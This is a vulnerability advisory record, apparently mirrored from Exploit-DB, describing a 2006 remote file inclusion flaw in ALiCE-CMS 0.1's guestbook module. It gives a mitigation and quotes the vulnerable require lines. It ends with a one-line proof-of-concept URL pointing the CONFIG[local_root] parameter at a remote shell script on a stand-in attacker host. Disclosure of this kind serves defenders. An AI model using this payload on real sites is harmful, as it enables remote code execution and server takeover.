ALiCE-CMS 0.1 (CONFIG[local_root]) Remote File Include Vulnerability

vendor:

ALiCE-CMS

by:

nuffsaid

7,5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: ALiCE-CMS

Affected Version From: 0.1

Affected Version To: 0.1

Patch Exists: NO

Related CWE: N/A

CPE: a:alicecms:alicecms:0.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

ALiCE-CMS 0.1 (CONFIG[local_root]) Remote File Include Vulnerability

The $CONFIG['local_root'] variable in modules/guestbook/index.php is not set before being used to include files. An attacker can exploit this vulnerability by sending a specially crafted HTTP request containing a malicious URL in the CONFIG[local_root] parameter.

Mitigation:

Ensure that user-supplied input is properly sanitized and validated before being used to include files.

Source

Exploit-DB raw data:

+-------------------------------------------------------------------------------------------
+ ALiCE-CMS 0.1 (CONFIG[local_root]) Remote File Include Vulnerability
+-------------------------------------------------------------------------------------------
+ Affected Software .: ALiCE-CMS 0.1
+ Vendor ............: http://alicecms.sourceforge.net/
+ Description .......: "ALiCE is a content-management-system cms written in php4 with mysql database."
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ The $CONFIG['local_root'] variable in modules/guestbook/index.php is not set before being
+ used to include files.
+ 
+ Vulnerable Code:
+ modules/guestbook/index.php, line(s) 2: require $CONFIG['local_root'].'modules/guestbook/guestbook.class.php';
+ modules/guestbook/index.php, line(s) 3: require $CONFIG['local_root'].'modules/guestbook/guestbookfunctions.php';
+ 
+ Proof Of Concept:
+ http://[target]/[path]/modules/guestbook/index.php?CONFIG[local_root]=http://evilsite.com/shell.php?
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-10-17]